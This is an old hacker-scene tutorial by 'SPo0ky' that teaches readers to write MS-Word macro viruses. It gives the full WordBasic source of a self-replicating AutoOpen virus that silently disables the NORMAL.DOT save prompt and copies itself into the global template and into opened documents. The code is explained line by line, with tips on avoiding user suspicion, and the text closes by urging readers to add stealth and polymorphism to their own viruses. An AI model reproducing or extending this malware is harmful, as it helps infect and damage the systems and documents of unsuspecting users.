                           +-----------------------+
                            MS-Word Macro Viruses 
                                     BY           
                                   SPo0ky         
                           +-----------------------+


Background:

        Macro viruses... they are in the media since August 1995, when the
 first macro virus was discovered, it was called CONCEPT (aka "The Prank
 Program", "Prank Macro", "WinWord.Concept", "WordMacro.Concept").
 Three month later there were already 3 other macro viruses created (DMV,
 Nuclear, and Rainbow).
 Since this time the number of macro viruses increased dramatically, today
 there are over 1000 macro viruses (about 300 different 'families')!

        Macro viruses have broken the rules of virus coding, they are able to
 infect documents!
 Nobody ever thought that it could be possible to INFECT a document ... until
 the birth of Concept! It used the MS-Word macro language (Word-Basic) to
 replicate itself.

        In this text file i will try to teach you the basics of MS-Word-macro-
 virus-programming. Till now i have written 5 macro viruses, i stopped when
 M$-Office 97 came out. It had many changes which i didn't want to learn
 again! I will not go in depth because i don't like macro-viruses, see the
 pros and cons =>


Pros and cons of macro viruses:

        1) [+]
           Macro viruses are very easy to code. I needed 2 days for my first
           macro virus without any prior word-basic knowledge.
           You don't have to know a lot about the inner working on the
           computer to write such a virus. Everything you have to know is how
           MS-Word works and a bit about the MS-Word macro language (Word
           Basic).

        2) [+]
           They can run on any platform (like Win95 -> Win3.x -> Macintosh ->
           ...) as long as MS-Word is installed on the system!
           Most other viruses (DOS based viruses which infect COM, EXE and
           Boot Sectors) can not spread to other platforms like to the
           Macintosh because
             1) every CPU has different instruction sets.
             2) the file formats of executable files are different.
           But macro viruses use Word Basic, and Word Basic is the same if it
           is run on the PC or on the MAC!

        3) [+]
           Documents are very much exchanged between people (maybe more often
           then executable files). MS-Word is used in many companies (yes, in
           mine too! :) and in schools!
           Once we had a macro virus infection at school. We had a novel
           network running, and win word was used by almost everyone in the
           school. The problem was that the NORMAL.DOT file had read/WRITE
           rights for everybody, so the virus infected the normal.dot which
           was used by the whole network!

        4) [-]
           Word Basic is a HLL (High Level Language), which means that it
           doesn't give you full control over the system. On the other hand,
           Assembly gives you TOTAL CONTROL over the CPU, isn't this what we
           all want? ;-)
           HLL's only give you some pre-defined functions which were written
           by the programmer of the compiler/interpreter.

        5) [-]
           Macro viruses need very much memory. I was not able to run my
           'spooky1' virus on a 486 with 4MB ram!

        6) [-]
           They are slow (as all HLL viruses)! Once you have written a very
           big virus which uses lots of macros you will notice that the whole
           program is getting very sloooooooow............

 Ok, now we have three pros and three cons,... lets go on to the next topic :)


MS-Word Macros:
 
        Before you can write a word macro program you have to know how ms-word
 works, how it is structured, what macros are and how they work,...

        A macro is a piece of code which is executed if a certain event
 occurs. Such an event will occur if the user is going to save a file, open
 a file, exits ms-word, copy text, whatever,..... everything the user does in
 ms-word is an event which calls a macro.

        Macros can be stored in 'Templates' (or .DOT files), they can also be
 stored in the global template (NORMAL.DOT).
 If a macro should only be active while the document is opened it should be
 stored in the file (xxxxx.dot), but if it should be available all the time
 while ms-word is run it should be saved in the normal.dot.

        You can access (list, edit, delete) all available macros at 'Tools' =>
 'Macro...'.
 You will also see a field called 'Macroname:'. This field is used to create a
 new macro or to edit an existing macro.
 The name of a macro is built as following: Lets say you want to change the
 macro which is executed if you save a new file... To save a new file you
 would click on 'Files' => 'Save As...'.
 So the macroname for this would be 'FilesSaveAs'! easy, eh?
 If you type 'FileSaveAs' in the field 'Macroname:' in the macro dialogbox you
 can edit the code which is executed if the user saves a new file.

        Now you should get the idea! Everything we have to do to infect other
 files is to change some macros which are called for Saving and for Opening of
 files!

        Ok, before i show you the code for a simple macro virus i will explain
 some very basic Word-Basic macros...

        Lets take a look at the original FileSaveAs macro. Open the Macro-
 Dialog Box ('Tools' => 'Macro...') and type 'FileSaveAs' in the 'Macroname:'
 field, now click on 'Create' and you will see the original source code of the
 FileSaveAs macro.
 This is what you will get:

 -----------------------
  Sub MAIN
  Dim dlg As FileSaveAs
  GetCurValues dlg
  Dialog dlg
  FileSaveAs dlg
  End Sub
 -----------------------

 => 'Sub MAIN'
 All macros begin with 'Sub MAIN'. 'Sub MAIN' indicates the beginning of the
 macro. There can also be other Sub's (and/or functions) in the same macro,
 but Sub MAIN is the macro which is run when the macro gets executed.

 => 'Dim dlg As FileSaveAs'
 'dlg' is an undefined variable right now. Word-Basic uses 'Dim' to reserve
 memory for variables.
 We need the variable 'dlg' (Dialog) to access the information (like filename,
 path,...) from the FileSaveAs dialog. So we just reserve as much memory as
 FileSaveAs needs with 'dim dlg AS FileSaveAs'.

 => 'Dialog dlg'
 At this point all 'informations' of the FileSaveAs dialog are stored in the
 variable 'dlg'. ('informations' = X/Y position of the window, which input
 fields the dialog has, where they are, just how the dialog looks like,...)
 The 'Dialog' command will show this information as a dialog box on your
 screen.
 This dialog is the one that you get when you click on 'File' => 'Save As...'.
 Everything (like path, filename,...) that you change in this dialog will be
 changed in the variable 'dlg' too!

 => 'FileSaveAs dlg'
 After you click on 'OK' in the dialog box this part will be executed.
 'FileSaveAs dlg' will take the information stored in 'dlg' and it will use
 this information to perform the action it is used for. It will use the
 path+filename to create the file, it will check if the document has to be
 encoded or not, etc.......

 => 'End Sub'
 This indicates the end of this sub. At this point control is given back. Now
 ms-word will wait for other events which will execute other macros...

        Now we will change this macro so that it will popup a message box when
 you click on File-SaveAs.
 Again, go to 'Tools' => 'Macro...', type in FileSaveAs and click 'Create'.
 You will see the original FileSaveAs source code again (same as above).
 Insert the line:

  MsgBox "Some Text"

 after the line "Sub MAIN".
 Close the window and when you are asked if you want to save the changes
 choose YES.
 Now create a new document and click on 'File' => 'SaveAs...'. You will see
 a message box which displays your entered text!
 ... to remove this again, just edit the macro, remove the inserted line
 'MsgBox "Some Text"' and save the macro.

        Now you know the most important basics like how to edit macros, how to
 list them and how they work... lets go to the good stuff, The Virus =>


The Virus:

        I'll show you a very simple macro virus which uses only one macro.
 I will not show you a very advanced macro virus because 1st) I'm too lazy and
 2nd) it would only confuse you! Once you understand this code you will get
 many ideas how to make your virus more advanced by yourself!

        Here is the virus code, it exists off one macro, AutoOpen! The macro
 AutoOpen is executed whenever a file is opened (you could also use FileOpen
 but i like this one more).
 ... at first the whole code, the Step-by-Step explanation is below =>

 -------------------------------------------------------------------
  Sub MAIN
    Dim dlg As FileSaveAs
    GetCurValues dlg
    ToolsOptionsSave .GlobalDotPrompt = 0
    If checkit(0) = 0 Then
      MacroCopy FileName$() + ":autoopen", "global:autoopen"
    End If
    If (dlg.Format = 1) Or (dlg.Format = 0) Then
      If checkit(1) = 0 Then
        FileSaveAs .Format = 1
        MacroCopy "global:autoopen", FileName$() + ":autoopen"
        FileSave
      End If
    End If
  End Sub

  Function checkit(check_what)
    checkit = 0
    If CountMacros(check_what) >= 1 Then
      For i = 1 To CountMacros(check_what)
        If MacroName$(i, check_what) = "autoopen" Then checkit = 1
      Next i
    End If
  End Function
 -------------------------------------------------------------------

Step-by-Step:

  Sub MAIN
 ----------
   You know that... here is the start of our code...

    Dim dlg As FileSaveAs
   -----------------------
     We will need the FileSaveAs function later, so we reserve some memory for
     it.

    GetCurValues dlg
   ------------------
     ... and we read the current settings.

    ToolsOptionsSave .GlobalDotPrompt = 0
   ----------------------------------------
     We will infect the global template (normal.dot). Once we changed
     (infected) it, it will ask the user if he wants to save the changes! This
     could make the user suspicious, so we just switch the option which asks
     for confirmation to save the normal.dot OFF!
     Again, lets take a look at this macro name "ToolsOptionsSave"... what
     you'd have to do to change this manually is: clicking on TOOLS => OPTIONS
     => SAVE, this would popup a dialog box which has this option which you
     can switch ON/OFF.
     Sometimes it's hard to 'guess' the right name for a 'variable' like
     .GlobalDotPrompt! To make it easier M$-Word has a pretty good help file!
     Click on HELP => 'Microsoft Help' and choose 'Search', now type in the
     macro name like 'ToolsOptionsSave', press enter and so you will get a
     list of all used variables (like .GlobalDotPrompt)!

    If checkit(0) = 0 Then
   ------------------------
     This is an 'IF' statement. If the part before the '=' is the part after
     the '=' it will execute the code after 'THEN'.
     'CheckIt' is a function (look below) which will check if the File
     Global.dot is already infected => Infection Check.
     What the 0 (zero) between the '(', ')' means will be explained later in
     the function. Anyway, the function 'checkit' will return ZERO if the
     File/Global.dot is NOT infected yet!

      MacroCopy FileName$() + ":autoopen", "global:autoopen"
     --------------------------------------------------------
       This is the part after the 'THEN' which will be only executed if the
       function 'checkit' returns zero (=> if the Global Template is not
       infected yet).
       Now we know that the global template is not infected, lets do it! To
       infect the global template and other .dot files (templates) we use the
       function 'MacroCopy'!
       The format of this function is:
         MacroCopy "FROM_FILE:MACRONAME_FROM", "TO_FILE:MACRONAME_TO"[,1]
       MacroCopy will copy the macro MACRONAME_FROM from FROM_FILE to
       MACRONAME_TO in TO_FILE. If you want to copy a macro from/to the global
       template you change FROM_FILE or TO_FILE to 'GLOBAL:'.
       If I'd copy the macro 'TEST' from the global template to the file
       FOOBAR.DOT I'd write:
         MacroCopy "global:test", "foobar.dot:test"
       The function FileName$() will return the the filename of the active
       document (our document which includes the virus).
       There is also an optional function, the ',1'.
       If you write:
         MacroCopy "global:test", "foobar.dot:test", 1
       ... you wouldn't be able to view the source code of the macro with
       TOOLS => 'MACRO...' => 'Create' anymore!!! This can be used to hide
       your virus code from the eyes of most people, BUT there are already
       programs which can decrypt such macros!

    End If
   --------
     End If indicates the end of the IF statement! Without this line of code
     MS-Word wouldn't know where the IF statement ends. Never forget it!!

    If (dlg.Format = 1) Or (dlg.Format = 0) Then
   ----------------------------------------------
     Another IF statement. You see the 'OR'? 'OR' is used so that you can
     compare more then one variables in one IF statement! If one or both of
     the variables is true, the part after the THEN will be executed, if
     NON of both variables is true the part after the THEN will NOT be run.
     Anyway, here we check the current format of the opened file. Now we have
     to use the 'infos' from the DLG variable (which includes the settings of
     the FileSaveAs dialog).
     We can check the file format with the variable .FORMAT of the dialog
     FileSaveAs (DLG.FORMAT).
     .Format will be a number from 0 to 6:
       0 = Word Document (.doc)
       1 = Template (.dot file)
       2, 3, 4, 5 = generally PLAIN TEXT!
       6 = Rich Text Format (.rtf files)
     We are only interested in 0 (.doc) and 1 (.dot) files! So we check if
     the format is 0 OR 1. If it is not, the part after the THEN will not
     be executed. BUT if the format is 0 OR 1 we will infect it =>

      If checkit(1) = 0 Then
     ------------------------
       You remember, we already had almost the same line of code before. But
       at this time we use ONE instead of ZERO between the '(', ')'. <- will
       be explained later.
       Anyway, here we check if the opened file is already infected...

        FileSaveAs .Format = 1
       ------------------------
         If it is NOT infected yet we will go on here...
         If it is a .doc file we will have to convert it to .dot because .doc
         files can't store macros!
         To convert it we just set .FORMAT to 1 and then we call FILESAVEAS.
         Remember: 1 is a template and templates can store macros.

        MacroCopy "global:autoopen", FileName$() + ":autoopen"
       --------------------------------------------------------
         Now we can copy the macro into the .DOT file! We copy it from
         GLOBAL:AUTOOPEN to FileName$():AUTOOPEN.

        FileSave
       ----------
         Now everything we have to do is to save the infected file again, else
         the user would be asked to save the file when he tries to close the
         file, this could make him suspicious too, so we just do it for him.
         :-)

      End If
     --------
       This is the END IF for the 'IF CHECKIT(1) = 0 THEN' line...

    End If
   --------
     And this is the END IF for 'IF (DLG.FORMAT = 1) OR (DLG.FORMAT = 0) THEN'
     line...

  End Sub
 ---------
   This indicates the end of the whole 'SUB'... it will return control to
   MS-Word which will wait for other (more interesting) events. :-)

  Function checkit(check_what)
 ------------------------------
   This is a function which i have written to check a file/global template if
   it is already infected.
   This function can be called from somewhere else as "CHECKIT(x)". You
   remember, i used it above two times...
   When it is called with, lets say, CHECKIT(5), the variable CHECK_WHAT will
   get the value 5. Later in the function this variable can be used for
   calculations, or whatever,...
   This function (CHECKIT) will return 0 or 1. If it returns 0 it means that
   the file is NOT infected, if it returns 1 it means that the file is already
   infected and that we should leave it alone.

    checkit = 0
   -------------
     At first we set it to zero, we are not sure if it is infected or not, so
     we put zero (not infected) into the checkit variable (or function). This
     will change later if the virus is found!

    If CountMacros(check_what) >= 1 Then
   --------------------------------------
     This IF statement will executed the next part only if there are more then
     then 0 macros in the opened file/global template.
     CountMacros will return the number of macros which exist in the file
     'CHECK_WHAT'... BUT check_what is no filename, right? It is just a
     number, in this virus 0 or 1. So what? =>
      0 means global template and
      1 means the currently active template (document)!
     If we check the global template for previous infection we use 0 =>
     "checkit(0)",
     if we check an opened file we use 1 => "checkit(1)".

      For i = 1 To CountMacros(check_what)
     --------------------------------------
       FOR is a 'loop'... it repeats the commands between the 'FOR' and 'NEXT'
       command until I (Counter) is bigger then "CountMacros(check_what)".
       The counter (I) is increased by 1 every time.
       If you don't understand what it does, look for it in the M$-Word help
       file!!!
       Anyway, we repeat the following commands as often as many macros we
       have in the currently checked template (0 or 1). "I" will have the
       number of the current checked macro everytime.

        If MacroName$(i, check_what) = "autoopen" Then checkit = 1
       ------------------------------------------------------------
         This IF statement will check if the macro AUTOOPEN already exists in
         check_what (0/1 => global template/file).
         MacroName$(i, check_what) will return the macroname I from the file
         CHECK_WHAT. Because of the above FOR, "I" is increased every round.
         If "I" is 4 and CHECK_WHAT is 0, MacroName will return the 4th macro
         from the global template. got it? Then it compares the returned
         macroname with "AUTOOPEN", if it finds this macroname in the file
         which should be infected it will set CHECKIT to 1 (remember, if
         checkit returns 1 it means that the file is already infected)!

      Next i
     --------
       'NEXT I' indicates the end of the FOR loop, it jumps back to the
       'FOR I = 1 TO COUNTMACROS(CHECK_WHAT)' line to increase "I" and to
       start a new round.

    End If
   --------
     This is the END IF for the "IF COUNTMACROS(CHECK_WHAT) >= 1 THEN" line.

  End Function
 --------------
   Indicates the end of this function. It will jump back to the SUB where it
   was called from.


        Puh, that was a lot! I hope you did understand everything! If you
 didn't understand certain commands then look at the MS-Word help file, it has
 pretty easy explanations and examples for every command!
 Now you should be able to write your own macro-viruses, i gave you the
 basics, try to impoofe your viruses with some protection:
 Don't allow to open the Macro-Toolbox (change the macro ToolsMacros) or make
 a new ToolsMacros Dialog which filters the macros of your virus out
 (stealth).
 Try to make your viruses polymorph (yes, this is possible too in macro's)...
 i have never used it in one of my viruses, but there are viruses which change
 their variable names and store the original's in the win95 registery.

 Ok, be creative and have FUN! ;-)
   --SPo0ky
     [spo0ky@thepentagon.com]
